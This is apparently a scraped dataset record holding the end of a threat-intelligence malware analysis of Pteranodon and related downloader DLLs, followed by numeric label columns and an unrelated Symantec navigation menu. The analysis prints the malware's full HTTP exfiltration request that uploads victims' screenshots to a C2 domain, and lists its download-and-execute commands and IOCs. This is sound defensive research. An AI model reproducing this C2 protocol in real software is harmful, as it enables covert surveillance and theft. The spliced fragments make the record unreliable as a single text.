contacting the C2 server: http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error the string always ends up being the same, namely \xe2\x80\x9cfrAQBc8Wsa\xe2\x80\x9d. This string gets concatenated with the retrieved local users temp path to the following file path: C:\\Users\\\\AppData\\Local\\Temp\\frAQBc8Wsa Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits. Downloader: MSO8734.obn / MpClients.dll This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put into an export function named \xe2\x80\x9cbitDefender\xe2\x80\x9d. It creates a socket, requests the address of the hardcoded C2 server \xe2\x80\x9cwin-restore.ru\xe2\x80\x9d via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call: \xe2\x80\x9cGET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1 Host: win-restore.ru Connection: close\xe2\x80\x9d The response will be stored into a memory buffer via recv() and scanned for the string \xe2\x80\x9curltoload={\xe2\x80\x9c. As the name suggests, the received data contains the actual URL of the payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to store the payload on disk and execute it: \xe2\x80\x9cC:\\Users\\\\AppData\\Local\\Temp\\frAQBc8Wsa\xe2\x80\x9d Pteranodon: MSO1234.win / winrestore.dll Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted. All the functionality of this DLL is put into an export function named \xe2\x80\x9cupdater\xe2\x80\x9d. At first, it retrieves the %APPDATA% folder of the local user to build the following file path: \xe2\x80\x9cC:\\Users\\\\AppData\\Roaming\\Microsoft\\desktop.ini\xe2\x80\x9d Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse movement is detected the malware runs in an infinite loop checking for mouse movement. If the file \xe2\x80\x9cdesktop.ini\xe2\x80\x9d does not exist, the malware creates it and writes the following information into it: \xe2\x80\x9d interval={60} msfolder={10} status={0}\xe2\x80\x9d This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following commands are available: exec={ This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload. Then, it waits 30s and terminates the payload. interval={ This command is used to define the interval in seconds between the creation of two or more screenshots. msfolder={ This command defines the number of screenshots to create. command={ / command_c={ This command is used to execute a file present as a string between the curly brackets. The variant with the \xe2\x80\x9cc\xe2\x80\x9d uses the Windows tool cmd.exe with help of ShellExecute(). status={ This command contains the flag which defines if screenshots should be made (\xe2\x80\x9c1\xe2\x80\x9d) or not (\xe2\x80\x9c0\xe2\x80\x9d). Next, it checks for a mutex named \xe2\x80\x9casassin1dj\xe2\x80\x9d to verify if the system is already infected and creates it if this isn\xe2\x80\x99t the case: Figure 8 Mutex check and creation routine Next, it creates the following folder, if not already present: \xe2\x80\x9cC:\\Users\\\\AppData\\Roaming\\Microsoft\\store\xe2\x80\x9d Next, according to the configuration data in \xe2\x80\x9cdesktop.ini\xe2\x80\x9d it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions. The following file naming scheme for the screenshots is used: _ After the last screenshot was created, it uploads all files from the \xe2\x80\x9cstore\xe2\x80\x9d folder to the C2 server \xe2\x80\x9cwin-restore[.]ru\xe2\x80\x9d. Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script \xe2\x80\x9cvvd.php\xe2\x80\x9d. For this, the following HTTP request is used which contains also data from the victim as well the JPEG files: POST /vvd.php HTTP/1.1 Accept: application/x-www-form-urlencoded Connection: Keep-Alive Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf_$ Accept-Charset: utf-8 User-Agent: asasing Host: win-restore.ru Content-Length: Cache-Control: no-cache ------------987978B0urd3Gf_$ Content-Type: text/html Content-Disposition: form-data; name=""uuid"" WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name=""file0""; filename=""_"" Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name=""file1""; filename=""_"" Content-Transfer-Encoding: 8bit ...JPEG file... ... ------------987978B0urd3Gf_$ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /vvd.php HTTP/1.1 Accept: application/x-www-form-urlencoded Connection: Keep-Alive Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf_$ Accept-Charset: utf-8 User-Agent: asasing Host: win-restore.ru Content-Length: Cache-Control: no-cache \xc2 ------------987978B0urd3Gf_$ Content-Type: text/html Content-Disposition: form-data; name=""uuid"" \xc2 WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name=""file0""; filename=""_"" Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name=""file1""; filename=""_"" Content-Transfer-Encoding: 8bit ...JPEG file... ... ------------987978B0urd3Gf_$ Finally, it checks if any new command information is available from the C2 server and updates the \xe2\x80\x9cdesktop.ini\xe2\x80\x9d file according to it. Based on functionality, compile timestamps, and binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824. wmphost.exe This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don\xe2\x80\x99t simulate mouse movement. To detect if it\xe2\x80\x99s running inside a sandbox, another file can scan the list of running processes to see if \xe2\x80\x9cwmphost.exe\xe2\x80\x9d is present or not. Appendix B: Indicators of Compromise Domain Names admin-ru[.]ru adobe.update-service[.]net apploadapp.webhop[.]me brokbridge[.]com cat.gotdns[.]ch check-update[.]ru childrights.in[.]ua conhost.myftp[.]org docdownload.ddns[.]net downloads.email-attachments[.]ru downloads.file-attachments[.]ru dyndownload.serveirc[.]com e.muravej[.]ua email-attachments[.]ru file-attachments[.]ru freefiles.myftp[.]biz getmyfile.webhop[.]me googlefiles.serveftp[.]com grom56.ddns[.]net grom90.ddns[.]net hrome-update[.]ru hrome-updater[.]ru loaderskypetm.webhop[.]me loadsoulip.serveftp[.]com mail.file-attachments[.]ru mails.redirectme[.]net mars-ru[.]ru msrestore[.]ru oficialsite.webhop[.]me parkingdoma.webhop[.]me poligjong.webhop[.]me polistar.ddns[.]net proxy-spread[.]ru rms.admin-ru[.]ru samotsvety.com[.]ua skypeemocache[.]ru skypeupdate[.]ru spbpool.ddns[.]net spread-service[.]ru spread-ss[.]ru spread-updates[.]ru stor.tainfo.com[.]ua tortilla.sytes[.]net ukrnet.serveftp[.]com ukrway.galaktion[.]ru umachka[.]ua update-service[.]net updatesp.ddns[.]net updateviber.sytes[.]net webclidie.webhop[.]me win-restore[.]ru winloaded.sytes[.]net winupdateloader[.]ru www.file-attachments[.]ru www.win-restore[.]ru yfperoliz.webhop[.]me URLs: http://childrights.in[.]ua/public/manager/img/scrdll.ini http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe http://umachka[.]ua/screen/dk.tmp http://umachka[.]ua/screen/screen.tmp http://viberload.ddns[.]net/viber.nls Hashes: Samples using custom developed tools: 002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705 08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6 0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27 0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9 0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494 145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8 222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d 2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37 3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d 3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac 3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824 5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9 5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395 840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd 97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34 9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d 9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312 a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75 a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5 ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875 b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0 df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39 e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4 f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126\xc2 Samples using bundled commodity tools: 026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061 03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1 03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5 059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65 0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4 068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa 0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df 0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15 0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0 0dd13d2d0edbcf9d1825c2bfc165876ada2e4d04e2981a0003cb6503fad2287b 0ddb7867e31f3f30cd1cfe74393f8ac5bbdc61538278de9219a49345f0d3af7f 13fed3accac4f38f28e606b110a3b7924d9c7a1a911f8c0613d0bb791e715267 151cf4c83722ba171ae42640e5e13af67ca06ee0a06a74afa53931acf6ac1506 17006d77cc1459aa3d70e4e9377edb2547a7446647aa9872c9dd9ad860ed7e39 1ec7e595677038145991c6d84dc7808602142f258c1f90e9486cca0fe531d74f 208dc592111a8221a9c633efc120b890585f9a67ed340cbb5ec9db4cd5e164e4 2124adbee89f2c1cb65896bed26e7ffa8bf0fcbdfeb99a9e751fea9cca7a896b 22e97292671ada8deef4329eb115c52f6f1bc598bcf01a3961f1c35a2230a013 259a78122ef51ae503059143bf36941fc6090be83213d196ba3051ba36a0b2a1 26564c23530dd14e0042e074f4178a5b2ad6fc8f51f10138fc39941a6303bff9 29453fa1772b6d7d33842d6abbe0cb55c4a4b66a00f43284c8724d7c16749a7d 2a072d9ce63a94d2530cf9f18a232c6a09f6c7bdff9dbe27faceef53604145ea 2c02d3d3fadd76f9d21f5c093459ddc0045c94f17679269eb7a2990a1a88cb42 2d55000bb5cb9e3e1f137810c2e1eb899f68c40e4a6f6307f226c7b8af208abd 2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 2e89436b355550ceb361fac1b03b78b71eda11d25f26223ac5c8c34ed8972a05 32b0e6394b110860371da5541946a6dcc85358a3951eddc86fdaf5794527c150 33934fcfae5760316b3f40e013cbb03d8086f8c30f9a4ba9bed3f9486a530796 34d86602882e86f8aaaeb7513126c8579a4489f2be31c279188e2f2ca8a0e141 390162dae62a0347e35cf5dad093cfc2f7d4ded62fba9d2df7af6133feb41ee0 3ef8602579c6b145fbaafc8970b4c9a6e7bebd11eb5e37eecaa67b4572c6038b 420acd7e8598fe994b59bf5d30f89e1c11b36cbef464a4786694cf9eada8dd4c 42b4c39179f76ea9eb5835b55a3cf4d8dbb29d42ee0622ad2e89ca48d01e8988 42eed03907c9dfa0e566fbe5968cdb5a1b7b5e18521f7327185ed2208c6c29b4 46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d 47d929c69bfd8d8efb9c280eabec2f73d4bddf1c3c30120c3fb6334623469888 505ef8cbc1271ce32f0c473468d75a1aba5073c37b2e6b49293ddc9efcb4ac96 5230453eeb98c5a183129ed8b918b429e96020887302ba30941c408108a1ab84 5363220b532d7da378b338e839a501ae5c006cc03c8b2d3627c480d64deb1221 558f33d478091993e5b5921604f8c3873efc87f551fddf61612b5c64d5b610f6 55c76f4f93f9e155fbb6a28447f97c1ccda0081061dc3cb9973d42c1686964b7 56c8246819f7de5cba91001793831441d4ce998ccb8237cb96c9f52e88ea384b 59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820 5ac627f8964d3b9cad69f21e3b8f27305f1f68f49e4f4fae2c73949a04b32692 5ccc76ae1cdf668ba7f89c6cbd0bad44f148cbee736320ead237262ba170ffba 5cd4401c1dae9b9ecd75c96ab29dc64ce40bef3acc6faf7c001ff98ebd3b3413 5cd72eaf555813f1ee187def594584f5cfc6a5e83086f35e281327b5210adffb 5f8293eda9fb40684caddf576eba6c81f3a06911ca9e4ecf84ede3b2891cff5e 6c258151c593268c13c252d8f275192a6f7a74d5de5754f2cf20fb94be7ee6ea 0458e168baa4fa5942892065925ac82b12245551b539d54c2884b3a21c2699d8 877f1de209eb9d8b2a20a76f8773d12e5a1fcde4148868c7b73added392f62f6 29c728a169c5d18298e77db161dd5d2f6396ceca9ee7849b63ff8a8bc11f911e 98e092b7bfc3bbdaeb82e05de14ba5835c6ac626c17de9eef2049796a031dd10 27e08fb90ada2fd8ce6b6149786edd3b814dd0324257ebd919ed66ada0334b21 9f651ae6ea538238748614a7f86fe2b0f76e881d6c38da581f284e4b6f79b0ca f47115ea58615781e56dcac673c19edf7ce00defd7ada709ae97b0708d3eac1e b80719854f8744ba62e9f0e774c09e2e2ed79dd37f9f94ba3ed05ec8507d55e6 467f04914a1e6093bdaf5c28884bf95ec738234033b3292d289a0799de196d49 5c47d18b3f0e0274c6a66b2eab27d47c73a0105c263d41c6473aba9a28d0a4ba 01c5729ac1ae3928053c085fd616323a3715863ab3d7e9b8106c09e24df34183 5b6a691cf8faf238b27861941a1b667d889889cc9711a3e561403d6a6ed292c9 e2688f72cc7ae836be19e765e39318873554ee194a09945eb3f3805d04f256ca 9f0228e3d1577ffb2533584c2b1d87ebee0c0d490f981e61d18bb27ab02e52cb 2617f9301869304b88d8a3a4f7b2eab6b0edf264cc1a28b99f5685959242ec39 f3107a5a00f36e12be7cc2e37c35903ef855b8043492af374ea918385821443c 63fcfab8e9b97d9aec3d6f243003ea3e2bf955523f08e6f1c0d1e28c839ee3d5 05cbe01b1125897e0e982c587a10a72f4df795b844a4a2c4cec44aee7f30ce94 5a7da102c11960b9651650143a4a08ae4ce97d68dff999961f1ffc792531afeb df6112e6bad4125b80b8829c13a2ca523bb82cf303cf531389d8795e7512c7e6 cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 e79dbcc8b60da280e53d9cf818eee1de34251e0551b9947bb2b79a31b131417e a73eac15797130c381b5b4a65c3fb1cfc723b1586a1882c981211787bba285a6 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc 550ee89d5df17f90ba7689d957cd067dcdbe3d957c5369ea28d925e02ccc8ce6 f77d7940c51c2a1eab849dbd77e59c683ebf7820799ef349e7da2583e1aa11ae 2c5d55619d2f56dc5824a4845334e7804d6d306daac1c23bec6f078f30f1c825 7231177a115656041ba4e5b3cf0bf7a547b074f03592351484267e25cda7c899 d5405f99cec0166857274b6c02a7ef52b36274fedb805a17d2089fd24ed133cf 81921b6a7eba39a3f73895a57892ed3a46ab6365ac97d550ca3b9bff46c7a1c2 1eef9f8d7d3099b87be7ac25121f9d2ccacfb5ccf02b508fb2036b6e059c525f 5255061c3600df1a94b376fca40f3ccb69d1cb6dd42aa744b20a643c7292d20c b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13 5fb7f6f953be3b65d88bd86d1391ebc9f88fc10b0ef23541463ebf5b157f695c 6016cf9898d74e2e9030be7c987964d817ba28ad2253d1da54c81a1bf49db836 621e55421dffae981e3e933c65626314d5610c7c08f76f83a3d07f0ec6c36e2d 6ccc24971073d24d90c4cbaf83dfbae2969cbf527e319c7ee9a4babcbe88e456 6f8da9180eebe02ba35317cb8aee5c8df6ac29795af70eb9430c3588d457aad6 71c5b899a5187baeb8f605ca39ca56bf05a63025a8f9f84c45590d8345e5d349 725b7d92ed66be160f2e04395008a65c72814d5ddf842d9778396f6c6679d85e 72d4b780a90ede7ea152f5da0973965cab31d2813fa8c2fe0e1cb611f5ca257e 73670d06851f588c7df44dc478f49883406697c48c618438e0f249b7a916552e 74e017853fbc85ee77ca7476cd25423815602aaaa02b29e0003c95c9551b8890 75d2367dc79d9f8aed165729df90ed5d28fefe267778dbe4d3d74aafa75d66e0 7a5a1c6ea0c2f017df9f06975c93a356cac20b19031fcde96136fa5881e5ef3a 7adb049e0b49312aea904c70e16d0e7f03d01aae4bf8ac867e8219ced4e6e057 7bfa85bec239b6c4419b2d57149c5960263c80e493f888d03ceaaa3f945b1b25 7f324b658f587b3b27921ebeba5ac25aebd669b33e6801fa9581de8c2eb0df2e 7fee970748eb83045e36911dafdaee0d4069ebe72c059cc7de3d65539012c2e9 823793a37d748ffe708864c16c853c67a5db812712481da1d24790b455163940 8512aabfa0175684bdbb77481d6b272b63dbc4249b04a44e1003b7d8fdea0a89 86c81f03cf7d8f8af38c2559dbf506cccdc25579f3b29fb574f823a67f99a0a3 88ae7e60b9dd57fc6b2d667ce33fb29c0f75d37eb7c837ccf56cb7994386d5ef 8b50e3ca06a22d0be6a71232b320137c776f80ac3f2c81b7440b43854b8a3bf0 8bd40e7fe6bbd4d5810db2c142186bb58da445a132fb6f9ff01c46947a532244 8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845 8d38726d674279705fe06b4b45bbbaef10756c547d560cea6998e23dba09f80c 8db47439685edc683765abb5e6d7d0d05479bf9ee164992db9e8ce97fe43ee2f 95de2e16f1b05d1b45b1d182c1503568c2e5fd4a81ac52fe1bc9e881d1a272b1 95e3204228341852b7c97f357f799e7ec9688abe1262436b569e56397f1fd864 98caf00760d772598386eb8d4f26caf92fb891915ac08da6bf830be5e45278d3 99c9440a84cdc428ce140de901452eb334faec49f1f6258acdde1ddcbb34376e 9a8776e4ae38cf529bab28947b31ade84301262b7996dc37ec47afa4fb4cf6e1 9beb1d2a03ff2d4c15913de0f87b72074155b44df791bd967dac8155e97a0e06 9c8d518fbbc8cbb25fa309f5396efa5749e57a3b0158779404c8d3e92baf6596 a064a28e5e7409a96bba93fc57f44cadc3492bb0f49792c89c973e30b0f5d498 a194b47043356fa365d98a5f7c582b6f87fac90acf0f469ed3651cfe2fd7b2c9 a21dfb8e8b7c8dfbeeb4d72e6ef1f22c667b8968b3a3b1dcce99f44faab05903 a2e0fe2d385dabcdfb024100216d259ddd1fa9907e982d297846fd29b8d4d415 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599 a595da9a2fa58d4f8be0bfbcf7f4c950435ff5289dd1ccf2c65eec73a0afe97f a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b aa860d405746401ae4155485326fdeb39718832c77c73540d48f4fbb8e596215 ab6832a4432b4bdaec0706f7b00a369c48175eac9abc3e537032b1f5d26a993b ada2f0703614b3447d427827777af5d4ee9ffe9179498970326926751a4f8d65 b16d317c11228bd3573126a0e1bc0bbf35d84a4a1f47dfb06b70634a21fd9823 b3665548cc0f2fce3593fb7139f49588faa1d327b6d23feb564ca4194053ae8a b5578c48a11533871ae91e6d5632aafc25d3976c0626d62abab306663566d024 b67a6f87fc3fd7c5c3666acac5918c8c08a53ab6a966f4d1daf38105a566ede1 b6abc8ab631dcf52e028ab26dbe3bb94022d69193c0acc8642cbd6329cbb23ef b7e117eb342b0d450095805073326989c792bf5ccbbdcd5f4a9ace50e517412e bb14abc9b0798c7756a6ed887308a3e6210cc08a5149dc1360fdd1f5bca27cca bdadb319f071f02462d107380102b669e407bb2a0b20e77a9a8a5726b4cbbc4b bf2383cfbee4cbb0bda2614839454ab1724c9bbfff8b4b48e0f48579ae220c10 bf52b44168de1855d83186163a2d5f29e488ddafdfd5447e211aec4a769cf74a c0d5cf7a0035deda5646aaf520b3ff632aa6be76ddbc88f38ddc11e77ffb40b4 c1a82a788df7418712664138c0fdb05232036a27ab0998479d60c656998849f1 c63a523834ab59ab5621a0acb156a9b901befe806044642fe5fec8a0ba545e70 d05d3f3582e13eaf5f39d7143ca1a4b1367cc5267bf9958a15e27cf53e059518 d0e456cff03c2483ded9a0f8c1b99f9fefb6ba47dcaf949dae27abe940ee20e6 d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 dada74663e3e29ee26bfd03a888f0bda9fc81e148511fa98f73f8e8a915933cc db3ffcbf136e0268ec66f28b30fa8ba350f74e02e8e737e61cc6ef8d8258027e dd26b85b6568595b1d2bbc47ce47d071ede75665fbd779d637b74663ead5539e df9038660164623a827a8119d4cb3d71d0a5288b12bdfdd32c72769bf90a9ea0 dfed16e9184a86e6fcd17a98f127410840d058db667e9975b43add100c33122e e0063d2524a89159cf5da12661225fbb27725bbd72acd9497b7207ecf2f3aeb6 e00c55ddda9cbb82fb47924fafdf40c3394dc1127d9901c71a69ef3ef664b817 e14a51d69211948163ab20b0cc68adf410bb821f2890f55d2d202c745f4ec1b8 e2e3f243bbcad666852e64202d35f6dd88c58f5d24435d92975697b0efa8a775 e37e25739e8bc4620d9d37d8f6b400cd82c85b89d206436ba35930ed96db6eb0 e55b5ede808b6d491f18737d6a1cf34b5178f02e9ea01d7cff31a449888dbd73 ed28d9207acac2afff817eaa56d1599422e23946dffa4f8bade376d52a6af7d4 eda0853e814ee31a66c3b42af45cd66019ffd61eac30e97bd34c27d79253a1bb f1b3e58d060803b0ff6008386bab47fb8099ac75ee74f385ac34340a28bf716e f2091f71227180d74ba1ba4607635e623553b1826314dca91cb31839eb00c4ea f214d55ccb5db5edbaafe7d40b240c79f04c70d441adee01ef438f776eb37037 f571ddc894915dee136cf24731ff3d79fe4f811b112d122a34a128628cb43c4a f7676d2a28992a382475af2ae0abca4794e1397ef3327f30f7d4cbdbc2ca0a68 f8e20894c8c18d79e80b431008aa8bef46cc10a355a4934f9cc40ffd637b8890 fa1bf7565352099b74624c8beeff6620411e1efe00e54f8b4190f69e243d5811 fa784f69265ebe5e150cf5956a40d86335d1a5edc57fffcc7ce6eedc591c2751 \xc2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","1","0","1","1","1","1","1","1","1","1","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Backdoor.Ritsol | Symantec Search ENTERPRISE ENTERPRISE \xc2 \xc2 250+ BUSINESS \xc2 \xc2 1-250 PARTNERNET \xc2 \xc2 Sign In Required Products & Services Products & Services Home Products A-Z Integrated Cyber Defense Integrated Cyber Defense Advanced Threat Protection Advanced Threat Protection Information Protection Information Protection Endpoint Security Endpoint Security Email Security Email Security Web & Network Security Web & Network Security Cloud App Security Cloud App Security Services Services Business Security Business Security OTHER BRANDS Norton LifeLock ID Analytics DigiCert Website Security Norton LifeLock ID Analytics DigiCert Website Security Integrated Cyber Defense Integrated Cyber Defense Core Services Advanced Threat Protection Information Protection Control Points Endpoint Security Email Security Web & Network Security Cloud App Security The cloud is full of risk. Your security posture shouldn't be. Our Integrated Cyber Defense Platform lets you focus on your priorities \xc3\xa2\xe2\x82\xac\xe2\x80\x9d digital transformations, supply chain security, cloud migration, you name it \xc3\xa2\xe2\x82\xac\xe2\x80\x9d knowing you are protected from end to end Learn More Advanced Threat Protection Advanced Threat Protection Endpoint Protection Family Endpoint Detection and Response (EDR) Messaging Security Family Email Threat Detection and Response Hybrid Cloud Security Family Encrypted Traffic Management Family Secure Web Gateway Family Content & Malware Analysis Network Forensics & Security Analytics Web Isolation WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Information Protection Information Protection DLP Family Data Loss Prevention Data Loss Prevention Cloud & Symantec CloudSOC Data Loss Prevention Cloud Service for Email Information Centric Security Family Information Centric Analytics Information Centric Tagging Information Centric Encryption Identity Family VIP Enterprise VIP Consumer Encryption Family Endpoint Encryption Desktop Email Encryption File Share Encryption Accelerate Your GDPR Readiness with The GDPR for Dummies guide Read the Guide Endpoint Security Endpoint Security Endpoint Protection Family Endpoint Protection Endpoint Protection Mobile Endpoint Detection and Response (EDR) Endpoint Threat Defense for Active Directory Endpoint Security Suites IOT Family Hybrid Cloud Security Family Storage Protection Cloud Workload Protection Data Center Security Endpoint Management Family Client Management Suite Server Management Suite Asset Management Suite Ghost Solution Suite A Leader once again in 2019 Gartner Magic Quadrant for Endpoint Protection Platforms Read the Report Email Security Email Security Messaging Security Family Email Security.cloud Messaging Gateway Email Threat Detection and Response Phishing Readiness Mail Security for Microsoft Exchange DLP Family Data Loss Prevention Cloud Service for Email Encryption Family Desktop Email Encryption Gateway Email Encryption Symantec named a Leader in The Forrester Wave\xc3\xa2\xe2\x80\x9e\xc2\xa2: Enterprise Email Security, Q2 2019 Read the Report Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Web & Network Security Web & Network Security Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation ProxySG and Advanced Secure Gateway Content & Malware Analysis WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy Management Center and Reporting Encrypted Traffic Management Family SSL Visibility Appliance Network Performance Optimization Family MACH5 PacketShaper Cloud Access Security Broker (CASB) Family DLP Family Identity Family 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Cloud App Security Cloud App Security Cloud Access Security Broker (CASB) Family CloudSOC Audit \xc3\xa2\xe2\x82\xac\xe2\x80\x9c Shadow IT CloudSOC CASB Gateway CloudSOC CASB for SaaS CloudSOC CASB for IaaS Hybrid Cloud Security Family Cloud Workload Protection Control Compliance Suite Storage Protection Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation Malware Analysis Service Trusted Mobile Device Security Service Web Application Firewall & Reverse Proxy DLP Family Data Loss Prevention Cloud and Symantec CloudSOC Data Loss Prevention 